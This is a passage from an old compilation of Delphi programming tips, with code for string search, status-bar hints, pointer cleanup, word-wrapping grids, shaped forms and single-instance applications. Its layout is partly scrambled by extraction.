);
: : : :
array[char] of Byte; integer; pchar; size_t;
{ Jumping table }
public procedure Prepare( Pattern: pchar; PatternLen: size_t; IgnoreCase: Boolean procedure PrepareStr( const Pattern: string; IgnoreCase: Boolean ); function function end;
Search( Text: pchar; TextLen: size_t ): pchar; Pos( const S: string ): integer;
implementation uses
SysUtils;
(* ------------------------------------------------------------------Ignore Case Table Translation ------------------------------------------------------------------- *) procedure CreateTranslationTable( var T: TTranslationTable; IgnoreCase: Boolean ); var c: char; begin for c := #0 to #255 do T[c] := c; if not IgnoreCase then exit; for c := 'a' to 'z' do T[c] := UpCase(c); { Mapping all acented characters to their uppercase equivalent } T['Á'] T['À'] T['Ä'] T['Â']
:= := := :=
'A'; 'A'; 'A'; 'A';
T['á'] T['à'] T['ä'] T['â']
:= := := :=
'A'; 'A'; 'A'; 'A';
T['É'] T['È'] T['Ë'] T['Ê']
:= := := :=
'E'; 'E'; 'E'; 'E';
T['é'] T['è'] T['ë'] T['ê']
:= := := :=
'E'; 'E'; 'E'; 'E';
T['Í'] := 'I'; T['Ì'] := 'I';
882
T['Ï'] := 'I'; T['Î'] := 'I'; T['í'] T['ì'] T['ï'] T['î']
:= := := :=
'I'; 'I'; 'I'; 'I';
T['Ó'] T['Ò'] T['Ö'] T['Ô']
:= := := :=
'O'; 'O'; 'O'; 'O';
T['ó'] T['ò'] T['ö'] T['ô']
:= := := :=
'O'; 'O'; 'O'; 'O';
T['Ú'] T['Ù'] T['Ü'] T['Û']
:= := := :=
'U'; 'U'; 'U'; 'U';
T['ú'] T['ù'] T['ü'] T['û']
:= := := :=
'U'; 'U'; 'U'; 'U';
T['ñ'] := 'Ñ'; end;
(* ------------------------------------------------------------------Preparation of the jumping table ------------------------------------------------------------------- *) procedure TSearchBM.Prepare( Pattern: pchar; PatternLen: size_t; IgnoreCase: Boolean ); var i: integer; c, lastc: char; begin FPattern := Pattern; FPatternLen := PatternLen; if FPatternLen < 1 then FPatternLen := strlen(FPattern); { This algorythm is based in a character set of 256 } if FPatternLen > 256 then exit; { 1. Preparing translating table } CreateTranslationTable( FTranslate, IgnoreCase); { 2. Preparing jumping table } for c := #0 to #255 do FJumpTable[c] := FPatternLen; for i := FPatternLen - 1 downto 0 do begin
883
c := FTranslate[FPattern[i]]; if FJumpTable[c] >= FPatternLen - 1 then FJumpTable[c] := FPatternLen - 1 - i; end; FShift_1 := FPatternLen - 1; lastc := FTranslate[Pattern[FPatternLen - 1]]; for i := FPatternLen - 2 downto 0 do if FTranslate[FPattern[i]] = lastc then begin FShift_1 := FPatternLen - 1 - i; break; end; if FShift_1 = 0 then FShift_1 := 1; end; procedure TSearchBM.PrepareStr( const Pattern: string; IgnoreCase: Boolean ); var str: pchar; begin if Pattern <> '' then begin {$ifdef Windows} str := @Pattern[1]; {$else} str := pchar(Pattern); {$endif} Prepare( str, Length(Pattern), IgnoreCase); end; end;
{ Searching Last char & scanning right to left } function TSearchBM.Search( Text: pchar; TextLen: size_t ): pchar; var shift, m1, j: integer; jumps: size_t; begin result := nil; if FPatternLen > 256 then exit; if TextLen < 1 then TextLen := strlen(Text); m1 := FPatternLen - 1; shift := 0; jumps := 0; { Searching the last character } while jumps <= TextLen do begin Inc( Text, shift); shift := FJumpTable[FTranslate[Text^]]; while shift <> 0 do begin Inc( jumps, shift); if jumps > TextLen then exit; Inc( Text, shift);
884
shift := FJumpTable[FTranslate[Text^]]; end; { Compare right to left FPatternLen - 1 characters } if jumps >= m1 then begin j := 0; while FTranslate[FPattern[m1 - j]] = FTranslate[(Text - j)^] do begin Inc(j); if j = FPatternLen then begin result := Text - m1; exit; end; end; end; shift := FShift_1; Inc( jumps, shift); end; end; function TSearchBM.Pos( const S: string ): integer; var str, p: pchar; begin result := 0; if S <> '' then begin {$ifdef Windows} str := @S[1]; {$else} str := pchar(S); {$endif} p := Search( str, Length(S)); if p <> nil then result := 1 + p - str; end; end; end.
Cool tip for hints on status bars [David Strange, [email protected]] I just figured out how to have the status bars on multiple forms display hints correctly with minimal coding. There have been a couple of solutions out there, but you had to code for each form (as far as I have seen anyway). Step 1: Place a TStatusBar on every form you want hints on. Set the SimplePanel property to True, and give them all the same name (I use SBStatus). See the comment I put in Step 4 regarding the name. Step 2: Assign all the hints as you want them. Don't forget the '|' if you want long hints. Step 3: In your startup form put this line in the FormCreate Application.OnHint := DisplayHint;
885
Step 4: Create this procedure. Please take note of the comments. procedure TFrmMain.DisplayHint(Sender: TObject); var Counter, NumComps: integer; begin with Screen.ActiveForm do begin NumComps := ControlCount - 1; for Counter := 0 to NumComps do {SBStatus is what I call all of my status bars. Change this as needed.} if (TControl(Controls[Counter]).Name = 'SBStatus') then begin if (Application.Hint = '') then {ConWorkingName is a constant that use. You can replace it with anything.} TStatusBar(Controls[Counter]).SimpleText := ConWorkingName else TStatusBar(Controls[Counter]).SimpleText := Application.Hint; break; end; end; end; {DisplayHint}
Don't forget to put 'Procedure DisplayHint(Sender: TObject) in the Public section. That's all you have to do. If you want any other forms to have hints, simply whack a TStatusBar on them and set the hints. I hope everyone likes this.
Calling a Procedure with it's name in a variable From: [email protected] (Raoul De Kezel) > > > >
Calling a Procedure with it's name in a variable How can I call a procedure whose name comes from a table, list, etc.? In other words, based on the environment I want to load a procedure name into a variable and call it. What would be the instruction?
unit ProcDict; interface type MyProc = procedure (s : String); procedure RegisterProc(procName : String; proc : MyProc); procedure ExecuteProc(procName : String; arg : String); implementation uses Classes; var ProcDict : TStringList; procedure RegisterProc(procName : String; proc : MyProc); begin ProcDict.AddObject(procName, TObject(@proc)); end; procedure ExecuteProc(procName : String; arg : String);
886
var index : Integer; begin index := ProcDict.IndexOf(ProcName); if index >= 0 then MyProc(ProcDict.objects[index])(arg); // Missing error reporting end; initialization ProcDict := TStringList.Create; ProcDict.Sorted := true; finalization ProcDict.Free; end.
Please email me and tell me if you liked this page. Last modified 03/12/00 12:11:33
887
Miscellaneous Part 3 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132.
Avoiding using stale pointers Multi Language Applications Associated Executable MAPI and MS Exchange Constucting Object Variables Example of variable number of parameters My new TWrapGrid component: Allows word wrap in TStringGrid. Resizing panels? Background processing. Round splash screens Screensaver
Avoiding using stale pointers "David S. Becker"
Author: David S. Becker ([email protected]) Date: 1/27/97 Copyright: None Distribution Rights: Free, unlimited use, provided you forward any and all changes or suggestions you have to me. This unit was created to aid in the managment of pointers and objects. Since the compiler does not initialize pointers or objects to nil, and does not set them to nil when freed, it is possible to accidentally reference stale pointers. For this reason, I recommend you add an 'initialization' section to all units and call Nilify() on all pointers/objects in that unit. This will ensure that all pointers/objects start off as nil. Furthermore, you should use the NilFree (for objects), NilDispose (for pointers created with New), and NilFreeMem (for pointers created with GetMem) instead of their standard counterparts. These procedures are safe to call on nil pointer/ objects, as they check for nil before performing any action. After freeing
888
}
the memory allocated to the pointer/object, they reset the pointer to nil. If you are strict in your use of these procedures, your risk of accessing stale pointer is greatly reduced. (Of course, you can still get stale pointers from the VCL as it obviously doesn't use these functions.)
{==============================================================================} interface {------------------------------------------------------------------------------} { Checks a pointer against nil } { NOTE: This function differs from Assigned() in that Assigned() requires a } { variable, whereas IsNil() does not. } function IsNil(const p: Pointer): Boolean; { Sets a pointer to nil } procedure Nilify(var p); { Frees a non-nil object, then sets it to nil } procedure NilFree(o: TObject); { Frees a non-nil pointer created by New, then sets it to nil } procedure NilDispose(var p: Pointer); { Frees a non-nil pointer, then sets it to nil } procedure NilFreeMem(var p: Pointer; size: Word); {==============================================================================} implementation {------------------------------------------------------------------------------} function IsNil(const p: Pointer): Boolean; begin Result := (p = nil); end; {------------------------------------------------------------------------------} procedure Nilify(var p); begin Pointer(p) := nil; end; {------------------------------------------------------------------------------} procedure NilFree(o: TObject); begin if not IsNil(o) then begin o.Free; Nilify(o); end; end; {------------------------------------------------------------------------------} procedure NilDispose(var p: Pointer); begin if not IsNil(p) then begin Dispose(p); Nilify(p); end; end; {------------------------------------------------------------------------------} procedure NilFreeMem(var p: Pointer; size: Word); begin if not IsNil(p) then begin FreeMem(p,size); Nilify(p); end; end; end.
889
Multi Language Applications Eddie Shipman
890
procedure TForm1.FormActivate(Sender: TObject); var {inifile : TIniFile; Optional} ProgramLanguage : String; begin { Here, I just set it to French } ProgramLanguage := 'fra'; { You can optionally get the language from Win.INI:} {inifile := TInifile.Create('WIN.INI'); ProgramLanguage := inifile.ReadString('intl', 'sLanguage', 'enu'); inifile.Free;} { Forgive me if I leave out any languages, Tthese are th only ones in my setup.inf for my copy of Windows. dan nld enu eng fin fra frc deu isl ita nor ptg esp esn sve
= = = = = = = = = = = = = = =
Danish Dutch English (American) English (International) Finnish French French Canadian German Icelandic Italian Norwegian Portuguese Spanish Spanish (Modern) Swedish
} if ProgramLanguage = 'enu' then begin StringIndex := 0; end else if ProgramLanguage = 'fra' then begin StringIndex := 8; end; end; procedure TForm1.Button1Click(Sender: TObject); var i,j,k : integer; DialogForm : tform; begin Application.NormalizeTopMosts; {no Condition Selected!} DialogForm := CreateMessageDialog(LoadStr(StringIndex+2),mtWarning,[mbOK]); {Attention} DialogForm.caption := LoadStr(StringIndex + 1); DialogForm.showmodal; Application.RestoreTopMosts; {Cannot Delete the 'always' condition} DialogForm := CreateMessageDialog(LoadStr(StringIndex+4),mtWarning,[mbOK]); {Always} DialogForm.caption := LoadStr(StringIndex + 3); DialogForm.showmodal; Application.RestoreTopMosts; {Delete the condition?} DialogForm := CreateMessageDialog(LoadStr(StringIndex+6),mtInformation, [mbYes, mbNo]); {confirmation} DialogForm.caption := LoadStr(StringIndex + 5);
891
for j := 0 to DialogForm.controlCount-1 do begin if DialogForm.controls[j] is tButton then with tButton(DialogForm.controls[j]) do begin if caption = '&Yes' then caption := LoadStr(StringIndex+7); if caption = '&No' then caption := LoadStr(StringIndex+8); end; end; DialogForm.showmodal; end; end.
Associated Executable Michael Ax
892
SetLength(result,strlen(pchar(result))); end; // procedure WinShellExecute(const Operation,AssociatedFile:string); var a1:string; begin a1:=Operation; if a1='' then a1:='open'; ShellExecute( application.handle //hWnd: HWND ,pchar(a1) //Operation: PChar ,pchar(AssociatedFile) //FileName: PChar ,'' //Parameters: PChar ,'' //Directory: PChar ,SW_SHOWNORMAL //ShowCmd: Integer ); // GetLastErrorString(0); //ucdialog end; procedure WinShellPrint(const AssociatedFile:string); begin WinShellExecute('print',AssociatedFile); end; procedure WinShellOpen(const AssociatedFile:string); begin WinShellExecute('open',AssociatedFile); end; {-----------------------------------------------------------------} end.
MAPI and MS Exchange Keith Anderson
Then use the following to send your message: MapiSendMail(mapihandle, 0,MapiMessage,0, 0);
Make sure the SUBJECT, RECIP and NOTTEXT fields are complete in the MapiMessage structure or the message won't be sent. Also make sure Exchange is running using the GetWindowHandle API function, and if it's not, use ShellExecute (or whatever) to launch it first.
Constucting Object Variables From: [email protected] (Coyote) 893
In the past few days there have been more than a few questions on this group indicating a lack of understanding about object instantiation. I'm guessing that these have been beginners, but in one case the questioner was taking a class on Delphi. I'd hope that an instructor would at least *try* to explain the subject. Anyway, for all of you having pointer errors, exceptions, and GPFs, take a quick look at this. When you declare a variable of some classtype such as... var MyVar: TMyClass;
....all you've asked the compiler to do is set up enough space to hold a pointer to an instance of your class on the heap. You haven't allocated memory for that class, just allocated memory for the pointer. I'd like to say that the compiler always presets this pointer to $FFFFFFFF, but that may not be accurate. Anyway, suffice it to say that it does *not* point to a valid memory location, and does *not* contain your class' information. Delphi handles all the messiness of memory allocation and disposal for you, but you do have to do a little bit of work. When you use one of Delphi's classes, or derive one of your own, you must instantiate the object. What that means is this: you must allocate the memory for it and set the pointer to that block of memory. In some languages that would be ugly; in Delphi it's as easy as... MyVar := TMyClass.Create;
It's that easy because the Create constructor method of the class TMyClass is a class method--it operates on the class, not on the individual object. When you call the constructor, Delphi allocates memory, and returns a pointer value. Take a look: doesn't it look like a function call? Well, if you weren't sure what it was returning, now you know. The call to TMyClass.Create returns a pointer to an object of type TMyClass. In the end, all you really need to remember is this... 1. Declare an object variable of some type. 2. Instantiate that object with a call to the class constructor method. 3. Use the object as normal. 4. Free the object. ==begin useless code block procedure Example; var MyObj: TMyClass; // a class that you've created MyList: TList; // a native class begin MyObj := TMyClass.Create; // now MyObj is instantiated--it means something MyList := TList.Create; // same for MyList .... do some stuff here .... MyList.Free; // MyList's resources are cleared from the heap MyObj.Free; // same for MyObj end;
894
Example of variable number of parameters From: [email protected] (Hallvard Vassbotn) program VarPar; { A simple program to demonstrate use of type-safe variable number of parameters in Delphi.
}
Written Mars 1995 by Hallvard Vassbotn [email protected]
uses WinCrt, SysUtils; { These are predefined in System: const vtInteger = 0; vtBoolean = 1; vtChar = 2; vtExtended = 3; vtString = 4; vtPointer = 5; vtPChar = 6; vtObject = 7; vtClass = 8; type TVarRec = record case Integer of vtInteger: (VInteger: Longint; VType: Byte); vtBoolean: (VBoolean: Boolean); vtChar: (VChar: Char); vtExtended: (VExtended: PExtended); vtString: (VString: PString); vtPointer: (VPointer: Pointer); vtPChar: (VPChar: PChar); vtObject: (VObject: TObject); vtClass: (VClass: TClass); end; } const TypeNames : array [vtInteger..vtClass] of PChar = ('Integer', 'Boolean', 'Char', 'Extended', 'String', 'Pointer', 'PChar', 'Object', 'Class'); { According to the on-line docs (search for TVarRec), array of const parameters are treated like array of TVarRec by the compiler. This example will work just as well if you change the declaration of TestMultiPar to: procedure TestMultiPar(const Args: array of TVarRec); This would make the implementation of the routine cleaner (no absolute variable declaration), but the interface would be less understandable to the user of the routine. The compiler looks at the parameters and builds the array directly on the stack. For each item in the array it also sets the VType field to one
895
of the pre-defined constants vtXXXX. The actual value is always sent as four bytes of information. For the Boolean and Char types, only the first byte contains useful information. So, go ahead, now you can write all those neat routines with variable number of parameters - and still keep the type safety! } function PtrToHex(P: pointer): string; begin Result := IntToHex(Seg(P^), 4) + ':' + IntToHex(Ofs(P^), 4); end; procedure TestMultiPar(const Args: array of const); var ArgsTyped : array [0..$fff0 div sizeof(TVarRec)] of TVarRec absolute Args; i : integer; begin for i := Low(Args) to High(Args) do with ArgsTyped[i] do begin Write('Args[', i, '] : ', TypeNames[VType], ' = '); case VType of vtInteger: writeln(VInteger); vtBoolean: writeln(VBoolean); vtChar: writeln(VChar); vtExtended: writeln(VExtended^:0:4); vtString: writeln(VString^); vtPointer: writeln(PtrToHex(VPointer)); vtPChar: writeln(VPChar); vtObject: writeln(PtrToHex(Pointer(VObject))); vtClass: writeln(PtrToHex(Pointer(VClass))); end; end; end; var MyObj : TObject; begin Writeln('Test of type-safe variable number of parameters in Delphi:'); MyObj := TObject.Create; TestMultiPar([123, 45.67, PChar('ASCIIZ'), 'Hello, world!', true, 'X', @ShortDayNames, TObject, MyObj]); MyObj.Free; { To verify that the type-safety is used in the supplied formatting routines, try this: } writeln(Format('%d', ['hi'])); { The supplied parameter is not of the type expected. The '%d' format string signals that the parameter should be an integer value, but instead we send a string. At run-time this will generate a exception, and if you have enabled IDE-trapping of exceptions, Delphi will show you the offending line. Using c-type sprintf funtions like this will result in undefined behaviour (read: system crash, GP or whatever) } end.
896
My new TWrapGrid component: Allows word wrap in TStringGrid. From: [email protected] (Luis de la Rosa) I have finally created a custom component, TWrapGrid that allows you to use a TStringGrid, but also wrap the text in a cell. This is the beta version, so I encourage you to experiment with it, try it out, and send me comments on what you think of it. When you use it, remember to se the RowHeights (or DefaultRowHeight) large enough so that when it wraps, it shows up in the cell. To install, copy the following text and paste it into a Unit. Save it under the name 'Wrapgrid.PAS'. Then follow the directions I put in the header of the component. I'm also looking for feedback on this component, so please try it and tell me what you think. Here is the code! {
This is a custom component for Delphi. It is wraps text in a TStringGrid, thus the name TWrapGrid. It was created by Luis J. de la Rosa. E-mail: [email protected] Everyone is free to use it, distribute it, and enhance it. To use:
Go to the 'Options' - 'Install Components' menu selection in Delphi. Select 'Add'. Browse for this file, which will be named 'Wrapgrid.PAS'. Select 'OK'. You have now added this to the Samples part of your component palette. After that, you can use it just like a TStringGrid.
Please send any questions or comments to [email protected] Enjoy! A few additional programming notes: I have overridden the Create and DrawCell methods. Everything else should behave just like a TStringGrid. The Create sets the DefaultDrawing to False, so you don't need to. Also, I am using the pure block emulation style of programming, making my code easier to read. } unit Wrapgrid; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Grids; type TWrapGrid = class(TStringGrid) private { Private declarations } protected { Protected declarations } { This DrawCell procedure wraps text in the grid cell } procedure DrawCell(ACol, ARow : Longint; ARect : TRect; AState : TGridDrawState); override; public
897
{ Public declarations } { The Create procedure is overriden to use the DrawCell procedure by default } constructor Create(AOwner : TComponent); override; published { Published declarations } end; procedure Register; implementation constructor TWrapGrid.Create(AOwner : TComponent); begin { Create a TStringGrid } inherited Create(AOwner); { Make the drawing use our DrawCell procedure by default } DefaultDrawing := FALSE; end; { This DrawCell procedure wraps text in the grid cell } procedure TWrapGrid.DrawCell(ACol, ARow : Longint; ARect : TRect; AState : TGridDrawState); var Sentence, { What is left in the cell to output } CurWord : String; { The word we are currently outputting } SpacePos, { The position of the first space } CurX, { The x position of the 'cursor' } CurY : Integer; { The y position of the 'cursor' } EndOfSentence : Boolean; { Whether or not we are done outputting the cell } begin { Initialize the font to be the control's font } Canvas.Font := Font; with Canvas do begin { If this is a fixed cell, then use the fixed color } if gdFixed in AState then begin Pen.Color := FixedColor; Brush.Color := FixedColor; end { else, use the normal color } else begin Pen.Color := Color; Brush.Color := Color; end; { Prepaint cell in cell color } Rectangle(ARect.Left, ARect.Top, ARect.Right, ARect.Bottom); end; { Start the drawing in the upper left corner of the cell } CurX := ARect.Left; CurY := ARect.Top; { Here we get the contents of the cell } Sentence := Cells[ACol, ARow]; { for each word in the cell } EndOfSentence := FALSE; while (not EndOfSentence) do begin { to get the next word, we search for a space } SpacePos := Pos(' ', Sentence); if SpacePos > 0 then begin { get the current word plus the space } CurWord := Copy(Sentence, 0, SpacePos);
898
{ get the rest of the sentence } Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) - SpacePos); end else begin { this is the last word in the sentence } EndOfSentence := TRUE; CurWord := Sentence; end; with Canvas do begin { if the text goes outside the boundary of the cell } if (TextWidth(CurWord) + CurX) > ARect.Right then begin { wrap to the next line } CurY := CurY + TextHeight(CurWord); CurX := ARect.Left; end; { write out the word } TextOut(CurX, CurY, CurWord); { increment the x position of the cursor } CurX := CurX + TextWidth(CurWord); end; end; end; procedure Register; begin { You can change Samples to whichever part of the Component Palette you want to install this component to } RegisterComponents('Samples', [TWrapGrid]); end; end.
Resizing panels? From: [email protected] (Dion Kurczek) Here's the source code for a resizable panel. Give the panel an align property of alClient, throw some controls on it, and watch them resize at run time when you resize the form. There is some code that prohibits resizing during design time, but this can be taken out. This may not be perfect, because I threw it together in a few minutes, but it's worked for me so far. unit Elastic; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls; type TElasticPanel = class( TPanel ) private FHorz, FVert: boolean; nOldWidth, nOldHeight: integer; bResized: boolean; protected
899
procedure WMSize( var message: TWMSize ); message WM_SIZE; public nCount: integer; constructor Create( AOwner: TComponent ); override; published property ElasticHorizontal: boolean read FHorz write FHorz default TRUE; property ElasticVertical: boolean read FVert write FVert default TRUE; end; procedure Register; implementation constructor TElasticPanel.Create( AOwner: TComponent ); begin inherited Create( AOwner ); FHorz := TRUE; FVert := TRUE; nOldWidth := Width; nOldHeight := Height; bResized := FALSE; end; procedure TElasticPanel.WMSize( var message: TWMSize ); var bResize: boolean; xRatio: real; i: integer; ctl: TWinControl; begin Inc( nCount ); if Align = alNone then bResize := TRUE else bResize := bResized; if not ( csDesigning in ComponentState ) and bResize then begin if FHorz then begin xRatio := Width / nOldWidth; for i := 0 to ControlCount - 1 do begin ctl := TWinControl( Controls[i] ); ctl.Left := Round( ctl.Left * xRatio ); ctl.Width := Round( ctl.Width * xRatio ); end; end; if FVert then begin xRatio := Height / nOldHeight; for i := 0 to ControlCount - 1 do begin ctl := TWinControl( Controls[i] ); ctl.Top := Round( ctl.Top * xRatio ); ctl.Height := Round( ctl.Height * xRatio ); end; end; end else begin nOldWidth := Width; nOldHeight := Height; end; bResized := TRUE;
900
nOldWidth := Width; nOldHeight := Height; end; procedure Register; begin RegisterComponents('Additional', [TElasticPanel]); end; end.
Background processing. From: "David S. Becker"
Here is some source code that should do what you want. I just created it now, and it is completely untested, but very similar to something I've already done, so it should work. It does make one assumption that you should be aware of. It assumes that it is started at the same time as Windows is (perhaps in the startup group), so it uses GetTickCount, which returns msec since Windows was started), to perform a task once each hour that Windows is running. This may or may not be what you had in mind. Also, the value returned by GetTickCount is really a DWORD, but is stored in a LongInt in Delphi which means that some of the larger values will wind up being negative (after about 25 days). The effect this will have on my hour checking algorythm is undetermined (I haven't really considered it). Similarly, the value will recycle once every 49.7 days which could cause the check to occur twice in less than an hour once every 49.7 days. This may or may not be a problem for you. At any rate, this should get you started. Enjoy! program Project1; uses Messages, Windows; {$R *.RES} function KeepRunning: Boolean; var Msg: TMsg; begin Result := True; while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do begin if (Msg.Message = WM_QUIT) then Result := False; DispatchMessage(Msg); end; end; function OnTheHour: Boolean; begin { This actually checks for one second (or less) } { into the hour to allow for the possibility we } { may not get a timeslice exactly on the hour } Result := (GetTickCount mod (1{hr} * 60{min} * 60{sec} * 1000{msec}) < 1000); end;
901
const filetocheck = 'c:\somedir\somefile.ext'; magicsize = 1000000; var f: file; size: longint; begin { keep ourself alive, and wait to be shut down } while keeprunning do begin { see if we're on the hour } if onthehour then begin { open file with a record size of 1 byte } { and check its size } assignfile(f,filetocheck); reset(f,1); size := filesize(f); closefile(f); { now we check our file condition if (size >= MAGICSIZE) then begin { Do something special here } end;
}
{ Now wait until we're past our 'grace' } { period so we don't accidentally fire } { off multiple times in a row } while (KeepRunning and OnTheHour) do {nothing}; end; end; end.
Round splash screens A while ago I saw some emails about round/different splashscreens. I saved this somewhere and now I can't find it.
Also Neil Rubenking author of Delphi for Dummies and other good books posted this one one compuserve. It is donut shaped with a curved title bar and you can see and click on other programs through the hole! Create a new project and save the main unit so its name is RGNU.PAS. Paste in the following: unit rgnu; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Buttons, Menus; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure FormPaint(Sender: TObject); private { Private declarations } rTitleBar : THandle; Center : TPoint; CapY : Integer;
902
Circum : Double; SB1 : TSpeedButton; RL, RR : Double; procedure TitleBar(Act : Boolean); procedure WMNCHITTEST(var Msg: TWMNCHitTest); message WM_NCHITTEST; procedure WMNCACTIVATE(var Msg: TWMNCACTIVATE); message WM_NCACTIVATE; procedure WMSetText(var Msg: TWMSetText); message WM_SETTEXT; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} CONST TitlColors : ARRAY[Boolean] OF TColor = (clInactiveCaption, clActiveCaption); TxtColors : ARRAY[Boolean] OF TColor = (clInactiveCaptionText, clCaptionText); procedure TForm1.FormCreate(Sender: TObject); VAR rTemp, rTemp2 : THandle; Vertices : ARRAY[0..2] OF TPoint; X, Y : INteger; begin Caption := 'OOOH! Doughnuts!'; BorderStyle := bsNone; {required} IF Width > Height THEN Width := Height ELSE Height := Width; {harder to calc if width <> height} Center := Point(Width DIV 2, Height DIV 2); CapY := GetSystemMetrics(SM_CYCAPTION)+8; rTemp := CreateEllipticRgn(0, 0, Width, Height); rTemp2 := CreateEllipticRgn((Width DIV 4), (Height DIV 4), 3*(Width DIV 4), 3*(Height DIV 4)); CombineRgn(rTemp, rTemp, rTemp2, RGN_DIFF); SetWindowRgn(Handle, rTemp, True); DeleteObject(rTemp2); rTitleBar := CreateEllipticRgn(4, 4, Width-4, Height-4); rTemp := CreateEllipticRgn(CapY, CapY, Width-CapY, Height-CapY); CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_DIFF); Vertices[0] := Point(0,0); Vertices[1] := Point(Width, 0); Vertices[2] := Point(Width DIV 2, Height DIV 2); rTemp := CreatePolygonRgn(Vertices, 3, ALTERNATE); CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_AND); DeleteObject(rTemp); RL := ArcTan(Width / Height); RR := -RL + (22 / Center.X); X := Center.X-Round((Center.X-1-(CapY DIV 2))*Sin(RR)); Y := Center.Y-Round((Center.Y-1-(CapY DIV 2))*Cos(RR)); SB1 := TSpeedButton.Create(Self); WITH SB1 DO BEGIN Parent := Self; Left := X; Top := Y; Width := 14; Height := 14;
903
OnClick := Button1Click; Caption := 'X'; Font.Style := [fsBold]; END;
end;
procedure TForm1.Button1Click(Sender: TObject); begin Close; End; procedure TForm1.WMNCHITTEST(var Msg: TWMNCHitTest); begin Inherited; WITH Msg DO WITH ScreenToClient(Point(XPos,YPos)) DO IF PtInRegion(rTitleBar, X, Y) AND (NOT PtInRect(SB1.BoundsRect, Point(X,Y))) THEN Result := htCaption; end; procedure TForm1.WMNCActivate(var Msg: TWMncActivate); begin Inherited; TitleBar(Msg.Active); end; procedure TForm1.WMSetText(var Msg: TWMSetText); begin Inherited; TitleBar(Active); end; procedure TForm1.TitleBar(Act: Boolean); VAR TF : TLogFont; R : Double; N, X, Y : Integer; begin IF Center.X = 0 THEN Exit; WITH Canvas DO begin Brush.Style := bsSolid; Brush.Color := TitlColors[Act]; PaintRgn(Handle, rTitleBar); R := RL; Brush.Color := TitlColors[Act]; Font.Name := 'Arial'; Font.Size := 12; Font.Color := TxtColors[Act]; Font.Style := [fsBold]; GetObject(Font.Handle, SizeOf(TLogFont), @TF); FOR N := 1 TO Length(Caption) DO BEGIN X := Center.X-Round((Center.X-6)*Sin(R)); Y := Center.Y-Round((Center.Y-6)*Cos(R)); TF.lfEscapement := Round(R * 1800 / pi); Font.Handle := CreateFontIndirect(TF); TextOut(X, Y, Caption[N]); R := R - (((TextWidth(Caption[N]))+2) / Center.X); IF R < RR THEN Break; END; Font.Name := 'MS Sans Serif'; Font.Size := 8; Font.Color := clWindowText; Font.Style := [];
904
end; end; procedure TForm1.FormPaint(Sender: TObject); begin WITH Canvas DO BEGIN Pen.Color := clBlack; Brush.Style := bsClear; Pen.Width := 1; Pen.Color := clWhite; Arc(1, 1, Width-1, Height-1, Width, 0, 0, Height); Arc((Width DIV 4)-1, (Height DIV 4)-1, 3*(Width DIV 4)+1, 3*(Height DIV 4)+1, 0, Height, Width, 0); Pen.Color := clBlack; Arc(1, 1, Width-1, Height-1, 0, Height, Width, 0); Arc((Width DIV 4)-1, (Height DIV 4)-1, 3*(Width DIV 4)+1, 3*(Height DIV 4)+1, Width, 0, 0, Height); TitleBar(Active); END; end; end.
Screensaver From: [email protected] (Shuji Maeda) For ScreenSaver documentation, see Lucian Wischik's Page at... http://classic.physiol.cam.ac.uk/scr/SCRB_TEC.HTM or http://classic.physiol.cam.ac.uk/scr/SCRB_GEN.HTM For sample sources, download Meik Weber's Saver from... http://sunsite.icm.edu.pl/delphi/authors/a782.htm Hope this helps. Shuji [email protected] Please email me and tell me if you liked this page. Last modified 03/12/00 12:11:46
905
Api 133. 134. 135. 136. 137. 138. 139.
How Can I Prevent Multiple Instances of My Application? Performing an action when Windows shuts down a Delphi app Getting DOS Variables GetModuleFileName Setting time system with Delphi How do I execute a program and have my code wait until it is finished? ExtractAssIcon and paint into Timage?
140. 141.
ExitWindows Power saver modeapi8
How Can I Prevent Multiple Instances of My Application? Solution 1 From: "David S. Lee"
Here is the unit I use: unit PrevInst; interface uses WinProcs, WinTypes, SysUtils; type PHWnd = ^HWnd; function EnumApps(Wnd: HWnd; TargetWindow: PHWnd): bool; export;
906
procedure ActivatePreviousInstance; implementation function EnumApps(Wnd: HWnd; TargetWindow: PHWnd): bool; var ClassName : array[0..30] of char; begin Result := true; if GetWindowWord(Wnd, GWW_HINSTANCE) = HPrevInst then begin GetClassName(Wnd, ClassName, 30); if STRIComp(ClassName,'TApplication')=0 then begin TargetWindow^ := Wnd; Result := false; end; end; end; procedure ActivatePreviousInstance; var PrevInstWnd: HWnd; begin PrevInstWnd := 0; EnumWindows(@EnumApps,LongInt(@PrevInstWnd)); if PrevInstWnd <> 0 then if IsIconic(PrevInstWnd) then ShowWindow(PrevInstWnd,SW_Restore) else BringWindowToTop(PrevInstWnd); end; end.
Solution 2 From: "The Graphical Gnome"
907
interface uses Forms, Windows, Dialogs, SysUtils; const MI_NO_ERROR = 0; MI_FAIL_SUBCLASS = 1; MI_FAIL_CREATE_MUTEX = 2; { Query this function to determine if error occurred in startup. } { Value will be one or more of the MI_* error flags. } function GetMIError: Integer; Function InitInstance : Boolean; implementation const UniqueAppStr : PChar;
{Change for every Application}
var MessageId: Integer; WProc: TFNWndProc = Nil; MutHandle: THandle = 0; MIError: Integer = 0; function GetMIError: Integer; begin Result := MIError; end; function NewWndProc(Handle: HWND; Msg: Integer; wParam, lParam: Longint): Longint; StdCall; begin { If this is the registered message... } if Msg = MessageID then begin { if main form is minimized, normalize it } { set focus to application } if IsIconic(Application.Handle) then begin Application.MainForm.WindowState := wsNormal; ShowWindow(Application.Mainform.Handle, sw_restore); end; SetForegroundWindow(Application.MainForm.Handle); end { Otherwise, pass message on to old window proc } else Result := CallWindowProc(WProc, Handle, Msg, wParam, lParam); end; procedure SubClassApplication; begin { We subclass Application window procedure so that } { Application.OnMessage remains available for user. } WProc := TFNWndProc(SetWindowLong(Application.Handle, GWL_WNDPROC, Longint(@NewWndProc))); { Set appropriate error flag if error condition occurred } if WProc = Nil then MIError := MIError or MI_FAIL_SUBCLASS; end; procedure DoFirstInstance; begin SubClassApplication;
908
